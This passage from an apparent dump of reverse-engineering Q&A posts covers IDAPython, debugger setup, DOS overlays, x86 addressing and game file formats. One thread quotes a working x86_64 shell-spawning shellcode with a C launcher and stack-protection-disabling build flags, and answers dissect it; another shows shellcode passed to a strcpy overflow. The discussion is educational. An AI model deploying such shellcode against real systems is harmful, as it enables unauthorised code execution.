    Anyone have a better suggestion?

    \n", "Title": "Good training for IDAPython", "Tags": "|ida|idapython|python|", "Answer": "

    I wrote Sark to avoid this banging-head-against-wall routine. It provides wrappers around most of the commonly-used IDAPython APIs, making them more pythonic.
    \nYou can find the documentation for Sark here on Read-The-Docs.

    \n\n

    As mentioned before by @CrazyFrog, you can use:

    \n\n
      \n
    1. Alexander Hanel's book and blog;
      2. \n
    2. Ero Carrera's Intro to IDAPyton;
      3. \n
    \n\n

    Additionally, there are official Hex-Rays sources:

    \n\n
      \n
    1. IDAPython Examples, which is filled with useful snippets;
      2. \n
    2. IDAPython Docs, which are not too useful;
      3. \n
    3. The IDA SDK headers (or the SDK Docs). This is a really useful source of information, as greping through it will usually get you the function you were looking for.
      4. \n
    4. Hex-Blog - The Hex-Rays blog. Contains some neat tricks along with tutorials on new APIs.
      5. \n
    \n" }, { "Id": "11396", "CreationDate": "2015-11-25T09:54:27.090", "Body": "

    I was not able to find an API function to get the CPU architecture of the loaded binary. \nIn idaapi.py, there is a function def set_processor_type(*args) but no equivalent such as get_processor_type.

    \n\n

    I don't want to fall back to running some additional (python) tool such as file, readelf or a python ELF parser. I also don't like the idea of parsing the strings displayed at the beginning of the IDA assembly listing.

    \n\n

    There must be a way to use idc.py, idaapi.py or idautils.py for this.

    \n", "Title": "How to get the CPU architecture via Idapython?", "Tags": "|ida|idapython|", "Answer": "

    Not all processor name has endian information. Generally it can be determinded as:

    \n\n
    BIG_ENDIAN if _idaapi.cvar.inf.mf else LITTLE_ENDIAN\n
    \n" }, { "Id": "11402", "CreationDate": "2015-11-25T17:15:01.693", "Body": "

    I am currently playing around with simple buffer overflows in a C program and I am trying to understand the program by stepping through it in IDA Pro.

    \n\n

    The program takes an argument and writes it into a buffer with strcpy(). I can pass a simple argument like AAAA... to the program in IDA Pro (Debugger->process options) and see how the return address gets overwritten.

    \n\n

    What I would like to do now is pass some shellcode as a parameter and see in IDA Pro how the program writes the shellcode in the buffer and overwrites the return address.

    \n\n

    In a shell, I would execute something like:

    \n\n
    $ ./vuln \\`perl -e 'print \"\\x55\\x89\\xe5...\"'`\n
    \n\n

    or

    \n\n
    $ ./vuln \\`cat shellcode.txt`\n
    \n\n

    So my question is: how can I pass non-printable characters as an argument to a program in IDA Pro?

    \n", "Title": "IDA Pro: Program parameters", "Tags": "|ida|shellcode|", "Answer": "

    Try using IDC function StartDebugger. You can pass a C-style string (e.g. \"\\x55\\x89\\xe5\")for program arguments:

    \n\n
    ***********************************************\n** Launch the debugger\n   arguments:\n        path - path to the executable file.\n        args - command line arguments\n        sdir - initial directory for the process\nfor all args: if empty, the default value from the database will be used\n   returns: -1-failed, 0-cancelled by the user, 1-ok\n   See the important note to the StepInto() function\n\nlong StartDebugger(string path, string args, string sdir);\n
    \n" }, { "Id": "11403", "CreationDate": "2015-11-26T01:22:51.897", "Body": "

    I stumbled upon this 31 bytes of Linux x86_64 Polymorphic execve Shellcode, posted by the author \"d4sh&r\":

    \n\n

    The code seems to be a combination of assembly and C and looks like this:

    \n\n
    /*\n;Title: polymorphic execve shellcode\n;Author: d4sh&r\n;Contact: https://mx.linkedin.com/in/d4v1dvc\n;Category: Shellcode\n;Architecture:linux x86_64\n;SLAE64-1379\n;Description:\n;Polymorphic shellcode in 31 bytes to get a shell \n;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux\n\n;Compilation and execution\n;nasm -felf64 shell.nasm -o shell.o\n;ld shell.o -o shell\n;./shell\n\nglobal _start\n\n_start:\n    mul esi\n    push rdx\n    mov al,1                         \n    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh \n    rol rbx,24\n    shr rbx,1\n    push rbx\n    lea rdi, [rsp] ;address of /bin//sh\n    add al,58\n    syscall\n\n*/\n#include<stdio.h>\n//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\nunsigned char code[] = \"\\xf7\\xe6\\x52\\xb0\\x01\\x48\\xbb\\xdc\\x5e\\x5e\\xe6\\xd0\\x5e\\xc4\\xd2\\x48\\xc1\\xc3\\x18\\x48\\xd1\\xeb\\x53\\x48\\x8d\\x3c\\x24\\x04\\x3a\\x0f\\x05\";\n\nmain()\n{\n   int (*ret)()=(int(*)()) code;\n    ret();\n}\n
    \n\n

    I was curious, what do each of the lines 17-40 do, specifically, and how does this accomplish an exploit?

    \n\n

    (Line 17 is the one with the expression \"global _start\")

    \n", "Title": "What do the 20 lines of executable code in this exploit do?", "Tags": "|assembly|c|", "Answer": "

    The answer above is correct for the most part but it includes some inaccuracies. I can't comment so I'll add the corrections in this answer.

    \n\n

    First I don't think this is a good shellcode since it takes an assumption on both %rax and %rsi. \n@itsbriany correctly points out that %rax is zero, but that is the case only in the specific launcher that the author wrote.\nWhen defining the ret function the number of arguments isn't specified, making it for the C standard a variadic function. For the x86_64 ABI, if a function has variable arguments then AL (which is part of EAX) is expected to hold the number of vector registers used to hold arguments to that function.\nJust by changing the definition to ret like this:

    \n\n
    int (*ret)(void)=(int(*)()) code;\n
    \n\n

    results in a segmentation fault. \nThen the operation

    \n\n
    mul esi\n
    \n\n

    doesn't zero out %esi as the other answers implies. In this case it multiplies %esi and %eax and stores upper bits in %edx lower bits in %eax, thus clearing %edx as a result. %esi is never modified and in fact it still points to the argv array of the original program. In another program where %esi has some invalid values the shell code won't work either. \nAlso %edx is pushed on the stack for no reason it seems.

    \n" }, { "Id": "11406", "CreationDate": "2015-11-26T06:05:59.113", "Body": "

    I am trying to add new functionality to a hard-coded exe of a game like adding new creatures and new spells and adding spells to creatures that did not have them before. For that I need to significantly modify the exe.

    \n\n

    It should be theoretically possible to expand an exe file somehow by increasing its binary size. Browsing on the internet I have stumbled upon this tool:http://www.cgsoftlabs.ro/studpe.html

    \n\n

    Since I am a RE and assembly newbie I do not get at all how this operates and how I could expand an exe using this.

    \n\n

    I have heard about some tools that make this possible on Linux. Are there Windows equivalents?

    \n\n

    Alternatively, maybe I could use some sort of dll injection to expand the .exe? Or maybe add functionality through some hooking?

    \n", "Title": "adding data and code to existing .exe file on Windows", "Tags": "|disassembly|executable|", "Answer": "

    Sure its possible to increase exe size (that's the trivial part) you just need to add new section to section table. \nI recommend CFF explorer \nIMHO the best PE view/edit tool.\nInvoke context menu from section headers (on the right side) to add new section then fill it with the code, data you want. Next you need to reverse the game and see how its structured and where to patch the code so it will jump to your code. For dll injection you could use Cheat engine they have a very nice tutorial but you still need to reverse the game and write injection code.dll.

    \n" }, { "Id": "11416", "CreationDate": "2015-11-27T15:07:25.083", "Body": "

    for hobby I'm just trying to reverse and old DOS game executable.

    \n\n

    I'm quite new with reversing so I'm having hard time understanding some bits about IDA Pro. I let the program choose the best-fit strategy to disassemble the executable and it seems to work fine but some procedures are left unrecognized (marked in red) as in the picture:

    \n\n

    \"enter

    \n\n

    Now I see that I can explicitly mark this as a function but then I'm not able to find any xref to it (also because I guess IDA would already have turned them into procedures if it was the case).

    \n\n

    So I was wondering what is the exact purpose of these functions, are they called by dynamically generating the address to them or what? Like a CALL instruction to the content of a register.

    \n\n

    A side question: I see that the binary had been split into 4 segments category:

    \n\n\n\n

    While the first two, coming from a C/C++ environment are quite clear I'm trying to understand exactly what the other two are.

    \n\n

    If I understood it correctly stub segments are just bridges to procedures which are far from the current executing segment, while overlay segments are segments which are replaced at runtime over the same piece of memory to let the program work with much more code than the addressable space. Is there any good tutorial about this kind of memory management in the old times?

    \n", "Title": "Unrecognized procedures in IDA Pro", "Tags": "|ida|dos|", "Answer": "

    Unused functions in executables

    \n

    There are various explanations for that.

    \n

    Obfuscation, as Itsbriany said, but i don't think that was much of a thing in old DOS executables.

    \n

    Unneeded library functions. If your code links in, for example, the math library (those old processors typically didn't have math coprocessors for floating point), you'll typically get all of the math emulation. Your program might use sqrt for distance calculations, but never use sin, cos and similar trigonometrics, but they get linked in anway.

    \n

    Function pointers. If your original C program had something like int (*funcs())[]={func1, func2, func3}; int result=(func[index])();\nand these are the only references to func1, func2 and func3, then ida won't recognize them as being used. However, you'd find a data xref in them.

    \n

    C++ object methods, although when C++ started getting used, 32 bit processors were already common and you'd compile your program to a 32 bit binary using a dos extender. If methods never get called directly, only through the vtable of a class, then the same thing applies as with function pointers.

    \n

    Debugging functions in the original source code that just never get called in the finished binary. If the programmer did something like

    \n
    #ifdef DEBUG\nsome_function(parm1, parm2, another_parm);\n#endif\n
    \n

    and forgot to put some_function into #ifdef as well, then the finished binary will still have some_function, but no call to it.

    \n

    More than one programmer working on independent parts of the code. One programmer might have been assigned to the task of reading/writing a config file, and he implemented read_config() and write_config(). Later, someone decided that the game should only use read_config(), and the configuration part should be done in a separate setup program. If both functions are in the same source file, they'll be compiled into - and linked in from - one single object file anyway.

    \n

    Overlays in old dos programs

    \n

    I don't know about a good tutorial, but here's basic info about overlays:

    \n

    You needed to identify parts of your code that didn't require each other when running. For example, your program might have a bunch of functions to navigate a world map, a different bunch of functions to navigate a dungeon, and a third bunch of functions to interact with a shopkeeper.

    \n

    You'd compile those separately, so you get 4 files: main_game.exe, world.ovl, dungeon.ovl, and shopkeeper.ovl. (Oops, there was an 8 character limit to filenames.) main_game.exe would be loaded into low ram, and calculate a segment for the overlays to load in - all at the same address. The easiest way to do this is make a segment that has only one variable, which gets loaded last - the address of that variable would be the address to load the overlays to. Let's name it overlay_start.

    \n

    To connect the main .exe to the overlays, each of the overlays would have a jump table at the start. For example, in world.ovl:

    \n
    0000 jmp show_world_map\n0004 jmp draw_player_on_world_map\n0008 jmp draw_enemies_on_world_map\n....\n
    \n

    and in dungeon.ovl:

    \n
    0000 jmp show_dungeon_map\n....\n
    \n

    Now you needed a bunch of functions to link into your main program to call these overlay functions, which all looked basically the same:

    \n
    extern int (*overlay_start())[];\n\nvoid show_world_map() { load_overlay("world.ovl"); overlay_start[0](); }\nvoid draw_player_on_world_map() { load_overlay("world.ovl"); overlay_start[1](); }    \nvoid draw_enemies_on_world_map() { load_overlay("world.ovl"); overlay_start[2](); }\n\nvoid show_dungeon_map() { load_overlay("dungeon.ovl"); overlay_start[0](); }\n....\n\nvoid load_overlay(char *filename) {\n    /* omitting all the error checking, loops for more than 64KB, etc.) */\n    FILE *fp=fopen(filename, "rb");\n    fread(overlay_start, 1, SOME_LARGE_NUMBER, fp);\n    fclose(fp);\n}\n
    \n

    (I omitted the function parameters in this example to keep it concise).

    \n

    Depending on your compiler, much of that could be auto-generated. And these functions, possibly including the load_overlay function, is typically what goes into the stub section. It's just a bunch of functions that keep the linker happy when linking main_game.exe, make sure the correct overlay is loaded, call the intended function, then return.

    \n" }, { "Id": "11417", "CreationDate": "2015-11-27T16:24:05.547", "Body": "

    This question is based off of my answer to a world building question: https://worldbuilding.stackexchange.com/questions/30471/how-could-a-blind-alien-race-interpret-video-broadcast-into-space/30497?noredirect=1#comment80601_30497 In which I argued that aliens wouldn't be able to interpret out data because they couldn't reliably reverse engineer captured signals. I'm not asking anyone to answer that question in it's entirety, but I do want to check my basic assumption in one area; and besides I'm now curious as a programmer who keeps trying to come up with ways to solve the challenge lol.

    \n\n

    Assuming that you were handed a huge collection of binary data in a completely foreign format, with no other knowledge about it other then the fact that it was not encrypted or intentionally obfuscated, and you don't know what is encoded (video, picture, executable program etc), how feasible is it to reverse engineer it to figure out the how to interpret the data? That is to say how hard is it to both 'crack' the encoding algorithm, and how hard is it to correctly identify what type of data was originally encoded to begin with?

    \n\n

    Closely related, how likely is it to get a 'false positive' by coming up with an interpretation that looks valid but is not how the data was actually encoded? Or even come up with an entirely different type of encoded data (thinking an audio encoding was video etc)

    \n", "Title": "How hard is it to interpret binary data of a new and unknown format, if it's unknown what data is encoded?", "Tags": "|binary-analysis|", "Answer": "

    Encodings of transmissions such as TV, radio, microwave data transmissions, occur at a number of different layers. Essentially there is a protocol stack.

    \n\n

    Someone looking at a transmission can infer information in a lot of ways. The mere existence of a signal with enough pattern to suggest intelligent life communicates a lot - a lot more than just \"there's other intelligent life\". The volume of transmissions alone would say a lot, especially if observed across decades. The timing of transmissions would suggest things like: night and day correspond to different levels and kinds of activities.

    \n\n

    Starting at the bottom of the transmission's \"stack\", a few suppositions could be made: light seems to be the only reasonable transmission medium at distances where \"alien\" makes sense. Up until 20 or so years ago, a good percentage of the transmissions from earth were analog.

    \n\n

    At the lowest \"protocol\" level our methods for analog encoding info onto light were pretty simple: vary amplitude, vary frequency, vary phase. So it seems like most \"aliens\" capable of receiving electromagnetic (light) transmissions would be able to detect the fact that our transmissions varied one or two of these very basic properties. And with that they begin the decoding process. If they received an AM radio transmission, it would be easy to recover the original waves of what we call sound. Assuming the aliens had some sense that responded to our \"sound\" waves (or alternatively responded directly to the raw AM waves), they could \"hear\" the message pretty much the same way the radio station created it.

    \n\n

    They would then have the problem of interpreting our language, but it's not much of a stretch (though it might take a long time) to imagine that happening, given what linguists on Earth are capable of.

    \n\n

    Once they've decoded AM radio and some of our natural languages, then decoding something else, maybe FM radio, becomes much easier. From there, maybe not too hard to decode the audio portion of TV signals.

    \n\n

    Decoding video would be greatly aided if the aliens had a sense(s) similar to (or the same as) sight and had similar persistence of vision. Someone analyzing a video transmission at the lowest level could piece together several layers of repetition: the scan lines repeat something like 15000 times a second and the frames repeat about 30 times a second and the frames might be interlaced. One could see that each scan line is usually pretty similar to the one before it. A map could be drawn that shows how each scan line morphs into the line that follows it. After drawing a few hundred of those a frame would appear. Also the vertical blanking interval would be a clue that would signal the end of one frame and the beginning of the next. Each frame would generally look similar to the previous one, but usually some changes. This would suggest a series of pictures of something that changes over time. In other words video. The accompanying audio could be easily correlated with the movement of mouths, things impacting each other, and so on.

    \n\n

    With the decoding of analog TV, it then becomes possible to associate spoken language with written language, from both sub titles and TV ads. And a whole lot of cultural info could be gleaned by watching TV and listening to radio. It would become clear what kind of things we cared about in these transmissions.

    \n\n

    So when it came to decoding digital transmissions a whole lot of groundwork would already have done. For example, seeing TV broadcasts with a lot of information about the stock market would go a long way towards decoding contemporaneous digital transmissions about the stock market.

    \n" }, { "Id": "11419", "CreationDate": "2015-11-27T19:35:26.647", "Body": "

    So I have finished step 8 of the Cheat Engine tutorial and obtained a static address with corresponding offsets to manipulate a value which should be changed to progress in the tutorial. The expression I obtained looks like this

    \n\n
    [[[[[00645390]+C]+14]+0]+18]\n
    \n\n

    I want to go a step further and write a simple (either C++ or C#) program which will access the value stored at this spot and both read from the memory and write to it. What I am not sure about yet is how to access this particularly. I guess it isn't as easy as directly accessing the address 00645390 in memory - do I have to add it to the base address of the application itself? If yes, how may I acquire the address to start working through all those pointers?

    \n", "Title": "Using multilevel pointers obtained via cheat engine in own application", "Tags": "|windows|debugging|tools|", "Answer": "

    you need OpenProcess()->ReadprocessMemory() and or QueryVirtualEx()

    \n\n

    you can use lkd or livekd to achieve the result

    \n\n
    livekd.exe\nkd> !process 0 0\n................\nPROCESS 89d1d328  SessionId: 0  Cid: 0238    Peb: 7ffde000  ParentCid: 075c\n    DirBase: 14980320  ObjectTable: e14106f0  HandleCount:  23.\n    Image: Tutorial-i386.exe\n........................\nkd> .process /p /r 89d1d328\nImplicit process is now 89d1d328\nLoading User Symbols\n.................\nkd> ? poi(poi(poi(poi(poi(645390)+c)+14)+0)+18)\nEvaluate expression: 1666 = 00000682]\n
    \n\n

    \"[1]\"

    \n\n

    here is a sample code that employs dbgeng functions from windbg sdk
    \nerror checks dbg prints removed for brevity
    \nassumes the module address space is not randomised / rebased (so uses 645390 as it is )
    \nelse you may need to find the module base from Ce calculate RVA from address (645390 -modbase)
    \nin your code find the modbase and add the calculated rva to read the pointer
    \nif modbase in your code was 400000 and rva was 1390 use 401390 instead of 645390

    \n\n
    #include <stdio.h>\n#include <engextcpp.hpp>\nint __cdecl main( void  ){\n    IDebugClient*     g_Client      = NULL;\n    IDebugControl*    g_Control     = NULL;\n    IDebugSymbols*    g_Symbols     = NULL;\n    IDebugDataSpaces* g_Data        = NULL;\n    ULONG             Pid           = NULL;\n    ULONG             bytesread     = NULL;\n    ULONG             ptr           = NULL;\n    DebugCreate( __uuidof(IDebugClient), (void**)&g_Client );\n    g_Client->QueryInterface( __uuidof(IDebugControl), (void**)&g_Control );\n    g_Client->QueryInterface( __uuidof(IDebugSymbols), (void**)&g_Symbols );\n    g_Client->QueryInterface( __uuidof(IDebugDataSpaces), (void**)&g_Data );\n    g_Client->GetRunningProcessSystemIdByExecutableName(\n        0,\"Tutorial-i386.exe\",DEBUG_GET_PROC_ONLY_MATCH,&Pid);\n    g_Client->AttachProcess(0,Pid,DEBUG_ATTACH_NONINVASIVE);\n    g_Control->WaitForEvent( 0, INFINITE );\n    g_Data->ReadVirtualUncached(0x645390,&ptr,sizeof(ptr),&bytesread);\n    g_Data->ReadVirtualUncached((ptr+0xc),&ptr,sizeof(ptr),&bytesread);\n    g_Data->ReadVirtualUncached((ptr+0x14),&ptr,sizeof(ptr),&bytesread);\n    g_Data->ReadVirtualUncached((ptr+0x0),&ptr,sizeof(ptr),&bytesread);\n    g_Data->ReadVirtualUncached((ptr+0x18),&ptr,sizeof(ptr),&bytesread);\n    printf(\"%-15s%d\\n\",\"5th lvl ptr =\", ptr);\n    g_Client->DetachProcesses();\n    return 0;\n}\n
    \n\n

    \"enter

    \n" }, { "Id": "11438", "CreationDate": "2015-11-30T09:02:53.320", "Body": "

    I want to launch IDA debugger for one 64-bit exe file and it fails, have tried with more samples, but result always the same.

    \n\n

    Here is that I do.

    \n\n
      \n
    1. Launch IDA Pro (64-bit)
      2. \n
    2. Select Debugger -> Run -> Local Windows Debugger from top menu.
      3. \n
    3. Select my file. \"How and click OK.
      4. \n
    4. At this point getting such prompt. \"prompt\" and click Yes.
      5. \n
    5. Finally got such error: \"error1\"
      6. \n
    6. And after that this-one: \"error2\"
      7. \n
    \n\n

    It happens all the time, have tried it on a few different VMs on my actual machine. I'm using full version of IDA v6.7.141229.

    \n\n

    I believe something has to be configured, as the last error says something about wrong parameters, can someone advice?

    \n", "Title": "IDA cannot launch debugger for 64-bit exe files", "Tags": "|ida|x86-64|", "Answer": "

    I write this mostly for myself as I'm tired of going thru this over and over again. Here's how you can debug x64 processes on a local machine with IDA Pro:

    \n\n

    (1) Create a .bat file with the following:

    \n\n
    \"C:\\Program Files (x86)\\IDA 6.5\\dbgsrv\\win64_remotex64\" -Pnh8sy261\n
    \n\n

    in this case it's the location of win64_remotex64 or remote debugger and nh8sy261 is just some random password. You pick it. Make sure though not to put any spaces after the -P parameter and the password.

    \n\n

    (2) Run batch file from (1) as admin.

    \n\n

    (3) Open 64-bit version of IDA Pro as admin. (File \"C:\\Program Files (x86)\\IDA 6.5\\idaq64.exe\")

    \n\n

    (4) Pick Go to work on your own. Then in the blank IDA Pro window, in the menu go to Debugger -> Run -> Remote Windows debugger. Then in the Application pick your application with the ... button. Specify debuggee parameters and directory, if needed. Then in the Hostname add 127.0.0.1, port as 23946 and password as what you typed above in the batch file:

    \n\n

    \"enter

    \n\n

    You can also check to Save network settings as default for later access. Then click OK.

    \n\n

    (5) At this point the debugger should load the debuggee process and you should be able to step through it.

    \n" }, { "Id": "11442", "CreationDate": "2015-11-30T16:46:53.997", "Body": "

    I'm trying to have a whole picture of all the possible addressing modes of X86 instructions. Starting from this I studied the Intel IA-32 reference and multiple secondary references found online.

    \n\n

    I'd like to understand them correctly, so here's my doubts:

    \n\n

    \"16bit

    \n\n\n\n

    My doubts:

    \n\n\n\n

    And now the 32-bit addressing modes

    \n\n

    \"32

    \n\n\n\n

    Here everything is enough clear, I was just wondering, as for 16 bits if displacement in 32 bits are signed or unsigned? SIB and displacement can be combined easily if I understand it correctly, eg [EAX + EBX*2 + 10] will generate a mod == 01 with specific SIB byte and additional single byte for signed displacement. Are these values considered absolute in a flat memory space or segments must be considered here too?

    \n", "Title": "Understanding subtle differences between addressing modes in X86", "Tags": "|assembly|x86|", "Answer": "

    These are a lot of questions at once, i'll answer at least some of them. But, please not, unless you're writing an assembler or disassembler yourself, you shouldn't really go into the gory details of every single bit. And unless you have done a lot of programming in assembler, and reading and understanding disassembled code, you shouldn't even try to write an assembler or disassembler yourself.

    \n\n

    Don't misunderstand me, writing your own assembler can be an interesting and educational experience. But the gory details aren't first thing you should learn to understand the concept of a processor and its assembly language.

    \n\n

    That out of the way:

    \n\n

    It doesn't matter if the 16 bit displacement is signed or unsigned. If it overflows, it overflows, and it's always cut to 16 bit. So if you add offset 0xfff0 to address 0x1234, you'll get 0x1224 as result. It doesn't really matter if you interpret this as \"0xfff0 is equal to -0x0010, so we subtract 0x10 from 0x1234\" or \"add 0xfff0 to 0x1234, get 0x11224, and strip the overflow bit\". Or, if you add 0x89ab and 0x89ab, you get 0x1356. 0x11356 with the overflow bit stripped, to be precise. It doesn't matter if you take 0x89ab as (decimal) 35243, or -30293. The possible results - 35243+35243=70486, 35243-30293=4950, -30293-30293=-60586 - do all have the same representation - 0x1356 - in 16 bit hex.

    \n\n

    Yes, mod=0b00 and R/M=0b110 is just an indirect address. mov cx, [1234h] and mov cx, WORD PTR ds:0x1234 are two ways of writing the same thing. Note i corrected your cl to cx; whether or not you use an 8-bit or 16-bit register is part of the instruction, not of the addressing mode. If you have a register, the size is clear from the register name, but in an instruction like mov [1234h],5, you don't know if the 5 is a byte, word, or dword value. mov word ptr ds:1234h, 5 makes this clear.

    \n\n

    Yes, all addresses are relative to the chosen segment - ds in most cases, ss if you use bp, and the given register if you use an explicit override prefix. Note there wasn't a way to index relative to sp in 16 bit mode, and bp, if used at all, was always the first register in R1+R2 combinations, forcing ss to be used with bp. In 32 bit mode, more combinations are possible, and [ebp+ebx] uses ss, while [ebx+ebp] uses ds. (However, 32 bit mode also means protected mode, and in all but the most pathological cases, operating systems use the same selector values for ss and ds, and cs as well. See below).

    \n\n

    So [BP+SI+10h] means [SS:BP+SI+10h], which means (SS<<4 + BP + SI + 10h) on the address bus lines. Note that those 16 bit processors had 20 bits on the address bus, which means overflow could occur, and the overflow bit was cut off as well. So, FFF0:0010 and 0000:0000 are actually the same address on an 8086 - 00000 - since bit 20 from 100000 got cut off. On a 32 bit processor, this bit 20 actually exists. Which means some programs, that used that mechanism to obfuscate their copy protections, stopped working when the 80386 was introduced. Or would have, if IBM hadn't invented a mechanism around it - the nefarious A20 gate. Google for that if you're inclined to do so.

    \n\n

    Prefixes 66h and 67h - ask someone else. Although i've been reading and writing assembler code for more than 20 years, i never had reason to learn the relation between hex bytes and processor instructions. See above. Well, i guess there are two exceptions: 90h is NOP, and cch is INT3. And byte sequences like PQRST, 50h 51h 52h 53h 54h are push-register instructions, which makes them useful for locating procedure starts.

    \n\n

    In 32 bit modes, the displacements are just as \"signed\" or \"unsigned\" as in 16 bit modes. Just treat them as 32 bit values that get added, which might result in an overflow that's thrown away.

    \n\n

    And of course, these values are considered relative to the \"segment\"s as well. Just that 32 bit implies protected mode, which means the segments are called selectors, have different semantics, and get generally ignored by most application programmers.

    \n\n

    A word to segments, why they mattered, and don't (normally) matter any more:

    \n\n

    At first, when the 8086 was introduced, it was meant to replace the older 8080 processor (and the Z80, which was from a different company, compatible to the 8080, but better and more successful). The 8080 had 64 KB at a maximum altogether, so programmers had to squeeze everything - code, data, stack - into those 64 KB, and most of the time, a part of these 64 KB was used by hardware, so you had even less.

    \n\n

    When the 8086, and the segment registers, were designed, someone at intel probably thought \"We're giving people much more space - 64 kb code AND 64 kb data AND 64 kb stack, so programs can be much larger; we can multitask between several programs, the operating system will manage the segment registers to assign space to each program, and every program can be so much bigger than today\".

    \n\n

    But in fact, programs got much larger quickly, so the idea \"segment registers should concern the OS only\" wasn't ever used. Instead, programs had to juggle segments on their own, which was a major PITA for everybody from compiler builders to application programmers, and everybody had to learn - and know - about them to get anything done.

    \n\n

    When 32 bit processors started, with 4 GB addressable in a linear fashion, segments suddenly became big enough that application programmers didn't have to care about them anymore. These days, juggling segments and assigning them to memory maps is strictly the task of the operating system, and due to protected mode, programs couldn't change them even if they wanted. So, what most operating systems do is provide one single flat block of memory to the program, and have cs, ds, es and ss map to that block identically. Your application just sees 4 GB of addressable memory (not all of that needs to be truly mapped to physical memory however), and it doesn't matter to the application anymore which segment registers it uses - [DS:1234] is the same as [ES:1234] is the same as [SS:1234] is the same as [CS:1234].

    \n\n

    The exception to this is the new registers FS and GS, for example, Windows uses FS for Structured Exception Handling, and Linux uses GS for Thread local storage. These segments are NOT mapped to the standard 4 GB block, but an application won't notice, since neither of these registers is ever used without an explicit prefix. (Note ES can not be used in the same way, since instructions like stos[bwd] and movs[bwd] use ES:EDI by default).

    \n" }, { "Id": "11451", "CreationDate": "2015-12-03T13:28:02.203", "Body": "

    I'm trying to reverse engineer 3D models (cars) from a racing game from 1997 (Test Drive 4). I'm able to extract the 3D mesh and textures, but cannot figure out how UV mapping works yet.

    \n\n

    There is only one file per car which contains everything (3D model, textures, dashboard, tuning, etc.). The 3D model section contains a vertices list and polygons list. A single polygon looks as follows:

    \n\n
    Triangle\n{\n    ulong       beg = 0xffff0000\n    ushort      texture     // 0 = car bottom, 3 = body\n    ubyte[6]    unknown     // UV mapping???\n    ulong[3]    vertices    // Indices\n    ulong       end = 0x00000000\n}\n
    \n\n

    I found that the 6-byte unknown section contains UV data, since there is a clear difference ingame when I modify these values. It is 6 bytes long so it can hold a U & V value for each of the 3 vertices. However, I have absolutely no idea how to interpret these numbers. I've tried reading them as bytes and dividing by 255 to convert them to floats ranging from 0 to 1, without success. Are they possibly 8-bit floats? (I don't understand how these work, so can't be sure.)

    \n\n

    Below is a hex dump of 80 polygons (one per line).

    \n\n
    FF FF 00 00 03 00 7B 7B 7D AD BE AD 00 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 7D 7D BE BE AD 01 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 1C 3E BE BE C9 04 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 3E BE CB C9 05 00 00 00 07 00 00 00 06 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 7B 7D AD BE AD 08 00 00 00 09 00 00 00 0A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 7D 7D BE BE AD 09 00 00 00 0B 00 00 00 0A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 09 02 AC 9E AC 0C 00 00 00 0D 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 00 02 9E 9E AC 0D 00 00 00 0F 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A0 A7 A0 1D 1D 00 10 00 00 00 11 00 00 00 12 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A7 A7 A0 1D 00 00 11 00 00 00 13 00 00 00 12 00 00 00 00 00 00 00\nFF FF 00 00 03 00 45 45 67 3F 48 3F 14 00 00 00 15 00 00 00 01 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 44 46 5B 5B 48 16 00 00 00 17 00 00 00 18 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 47 46 5B 49 48 17 00 00 00 19 00 00 00 18 00 00 00 00 00 00 00\nFF FF 00 00 00 00 92 97 98 1D 1D 1A 1A 00 00 00 17 00 00 00 16 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 19 19 7B 7E 60 1B 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 46 44 29 47 5B 4A 19 00 00 00 17 00 00 00 1D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 2B 29 5B 5C 4A 17 00 00 00 1A 00 00 00 1D 00 00 00 00 00 00 00\nFF FF 00 00 00 00 98 97 92 03 00 00 1E 00 00 00 1F 00 00 00 20 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 3E 2D BE BB BE 14 00 00 00 1B 00 00 00 21 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 2D 2D BB BC BE 1B 00 00 00 22 00 00 00 21 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 1C 90 81 90 23 00 00 00 24 00 00 00 25 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 1C 1C 81 81 90 24 00 00 00 26 00 00 00 25 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 18 BE BC BE 21 00 00 00 22 00 00 00 27 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 18 18 BC BB BE 22 00 00 00 28 00 00 00 27 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 09 90 81 90 25 00 00 00 26 00 00 00 29 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 12 09 81 82 90 26 00 00 00 2A 00 00 00 29 00 00 00 00 00 00 00\nFF FF 00 00 00 00 92 92 91 07 00 00 2B 00 00 00 20 00 00 00 2C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 18 11 BD BB BD 27 00 00 00 28 00 00 00 2D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 11 11 BB BB BD 28 00 00 00 2E 00 00 00 2D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 03 0B 0C 86 8E 7F 2F 00 00 00 29 00 00 00 30 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0B 13 0C 8E 81 7F 29 00 00 00 2A 00 00 00 30 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0D 0C 00 4D 57 57 31 00 00 00 32 00 00 00 33 00 00 00 00 00 00 00\nFF FF 00 00 00 00 83 81 87 03 07 01 34 00 00 00 35 00 00 00 36 00 00 00 00 00 00 00\nFF FF 00 00 00 00 81 87 87 07 07 01 35 00 00 00 37 00 00 00 36 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5E 3F BD AD BD 38 00 00 00 39 00 00 00 03 